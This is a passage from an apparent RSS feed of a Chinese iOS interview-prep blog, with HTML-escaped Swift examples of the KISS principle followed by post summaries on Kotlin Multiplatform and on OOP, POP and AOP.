&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;guard&lt;/span&gt; order.shippingAddress &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; .failure(.noShippingAddress)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;guard&lt;/span&gt; order.totalAmount &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; .failure(.invalidAmount)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; .success(Receipt())
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="4-使用标准库而非自己实现"&gt;4. 使用标准库而非自己实现&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 违反 KISS：自己实现数组去重&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;removeDuplicatesManual&lt;/span&gt;&amp;lt;T: Hashable&amp;gt;(from array: [T]) -&amp;gt; [T] {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; seen = Set&amp;lt;T&amp;gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; result = [T]()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; element &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; array {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;!&lt;/span&gt;seen.contains(element) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; seen.insert(element)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; result.append(element)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; result
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// KISS：使用标准库&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; uniqueArray = Array(Set(array))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 或保持顺序&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; uniqueOrderedArray = array.reduce(into: [T]()) { result, element &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;!&lt;/span&gt;result.contains(element) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; result.append(element)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 更简单：使用 Swift Algorithms&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Algorithms&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; unique = array.uniqued()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="5-避免过度泛型化"&gt;5. 避免过度泛型化&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 违反 KISS：过度泛型，难以理解&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;protocol&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;DataProviding&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; associatedtype DataType
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; associatedtype ErrorType: Error
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fetch&lt;/span&gt;() async &lt;span style="color:#66d9ef"&gt;throws&lt;/span&gt; -&amp;gt; DataType
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;protocol&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;DataTransforming&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; associatedtype Input
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; associatedtype Output
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;transform&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;_&lt;/span&gt; input: Input) -&amp;gt; Output
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;GenericDataLoader&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Provider: DataProviding,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Transformer: DataTransforming
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;where&lt;/span&gt; Provider.DataType == Transformer.Input {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 复杂的泛型约束...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// KISS：简单直接的实现&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;UserLoader&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;loadUsers&lt;/span&gt;() async &lt;span style="color:#66d9ef"&gt;throws&lt;/span&gt; -&amp;gt; [User] {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; data = &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; await APIClient.shared.fetch(&lt;span style="color:#e6db74"&gt;&amp;#34;/users&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; JSONDecoder().decode([User].&lt;span style="color:#66d9ef"&gt;self&lt;/span&gt;, from: data)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 当真正需要复用时，再考虑抽象&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="6-简化-api-设计"&gt;6. 简化 API 设计&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 违反 KISS：过多的配置选项&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;createButton&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; title: String,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; titleColor: UIColor = .white,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; titleFont: UIFont = .systemFont(ofSize: &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; backgroundColor: UIColor = .blue,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cornerRadius: CGFloat = &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; borderWidth: CGFloat = &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; borderColor: UIColor = .clear,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; shadowColor: UIColor = .black,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; shadowOffset: CGSize = .zero,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; shadowRadius: CGFloat = &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; shadowOpacity: Float = &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; contentInsets: UIEdgeInsets = .&lt;span style="color:#66d9ef"&gt;init&lt;/span&gt;(top: &lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;left&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;, bottom: &lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;right&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; isEnabled: Bool = &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// ... 更多参数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;) -&amp;gt; UIButton {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// KISS：提供简单的默认实现和预设样式&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;enum&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ButtonStyle&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; primary
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; secondary
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; destructive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; text
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;createButton&lt;/span&gt;(title: String, style: ButtonStyle = .primary) -&amp;gt; UIButton {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; button = UIButton()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; button.setTitle(title, &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt;: .normal)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;switch&lt;/span&gt; style {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; .primary:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; button.backgroundColor = .systemBlue
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; button.setTitleColor(.white, &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt;: .normal)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; button.layer.cornerRadius = &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; .secondary:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; button.backgroundColor = .systemGray5
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; button.setTitleColor(.systemBlue, &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt;: .normal)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; button.layer.cornerRadius = &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; .destructive:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; button.backgroundColor = .systemRed
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; button.setTitleColor(.white, &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt;: .normal)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; button.layer.cornerRadius = &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; .text:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; button.backgroundColor = .clear
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; button.setTitleColor(.systemBlue, &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt;: .normal)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; button
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 使用简单&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; primaryButton = createButton(title: &lt;span style="color:#e6db74"&gt;&amp;#34;Submit&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; cancelButton = createButton(title: &lt;span style="color:#e6db74"&gt;&amp;#34;Cancel&amp;#34;&lt;/span&gt;, style: .secondary)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="7-选择合适的数据结构"&gt;7. 选择合适的数据结构&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 违反 KISS：用复杂的数据结构解决简单问题&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;UserStatusManager&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; statusTree: RedBlackTree&amp;lt;String, UserStatus&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; statusIndex: [String: TreeNode&amp;lt;String, UserStatus&amp;gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 复杂的树结构来管理用户状态...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// KISS：简单的字典就够了&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;SimpleUserStatusManager&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; userStatus: [String: UserStatus] = [:]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;setStatus&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;_&lt;/span&gt; status: UserStatus, &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; userId: String) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; userStatus[userId] = status
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getStatus&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; userId: String) -&amp;gt; UserStatus? {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; userStatus[userId]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="如何平衡简单与功能"&gt;如何平衡简单与功能&lt;/h2&gt;
&lt;h3 id="渐进式复杂度"&gt;渐进式复杂度&lt;/h3&gt;
&lt;p&gt;遵循&amp;quot;简单开始，按需增长&amp;quot;的原则：&lt;/p&gt;</description></item><item><title>KMP（Kotlin Multiplatform）详解</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-cross-platform/kmp/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-cross-platform/kmp/</guid><description>&lt;p&gt;KMP（Kotlin Multiplatform）是 JetBrains 推出的跨平台代码共享方案。它与 Flutter、React Native 的&amp;quot;一套代码一套 UI&amp;quot;思路不同，走的是&amp;quot;&lt;strong&gt;业务逻辑共享，UI 原生&lt;/strong&gt;&amp;ldquo;的路线：Kotlin 写的网络、数据库、ViewModel、业务规则等代码编译成 iOS/Android/HarmonyOS/Web 可直接使用的二进制产物，而 UI 仍然由各平台原生框架（SwiftUI/UIKit、Jetpack Compose、ArkUI、DOM/Compose Web）自己实现。2023 年 11 月 KMP 正式 Stable；2024 年 6 月华为开发者大会（HDC 2024）上 JetBrains 与华为合作宣布 Kotlin 原生支持 HarmonyOS NEXT，KMP 正式扩展到&amp;quot;Android + iOS + 鸿蒙 + Web&amp;quot;的四端矩阵；随后 Compose Multiplatform for iOS 经历 Alpha → Beta 演进，使得&amp;quot;连 UI 也可以一起共享&amp;quot;成为可选项。&lt;/p&gt;
&lt;p&gt;对 iOS 开发者而言，KMP 的意义在于：&lt;strong&gt;Android/鸿蒙同事写的 Kotlin 代码你可以像 Swift 一样调用&lt;/strong&gt;，而代价只是多一个 &lt;code&gt;XCFramework&lt;/code&gt; 和一点桥接代码。本文从架构开始，一路讲到编译原理、内存模型、iOS/鸿蒙互操作细节与工程最佳实践。&lt;/p&gt;
&lt;h2 id="一kmp-是什么"&gt;一、KMP 是什么&lt;/h2&gt;
&lt;h3 id="11-一句话定义"&gt;1.1 一句话定义&lt;/h3&gt;
&lt;p&gt;KMP 是 Kotlin 官方的跨平台编译工具链，允许你用 Kotlin 写一份&amp;quot;业务逻辑&amp;quot;代码，编译到多个目标平台：&lt;/p&gt;</description></item><item><title>OOP、POP与AOP</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/oop-pop-aop/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/oop-pop-aop/</guid><description>&lt;p&gt;在iOS开发中，经常会接触到三种重要的编程范式：面向对象编程（OOP）、面向协议编程（POP）和面向切面编程（AOP）。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="oop---面向对象编程"&gt;OOP - 面向对象编程&lt;/h2&gt;
&lt;h3 id="基本概念"&gt;基本概念&lt;/h3&gt;
&lt;p&gt;面向对象编程（Object-Oriented Programming）是一种以对象为核心的编程范式。它将数据和操作数据的方法封装在一起，形成对象。&lt;/p&gt;
&lt;p&gt;OOP的四大核心特性：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;iOS中的体现&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;封装&lt;/td&gt;
&lt;td&gt;隐藏内部实现细节，只暴露必要的接口&lt;/td&gt;
&lt;td&gt;&lt;code&gt;@interface&lt;/code&gt;/&lt;code&gt;@implementation&lt;/code&gt;分离，&lt;code&gt;private&lt;/code&gt;属性&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;继承&lt;/td&gt;
&lt;td&gt;子类继承父类的属性和方法&lt;/td&gt;
&lt;td&gt;&lt;code&gt;UIViewController&lt;/code&gt;继承自&lt;code&gt;UIResponder&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;多态&lt;/td&gt;
&lt;td&gt;同一接口可以有不同的实现&lt;/td&gt;
&lt;td&gt;子类重写父类方法&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;抽象&lt;/td&gt;
&lt;td&gt;提取共同特征形成抽象类型&lt;/td&gt;
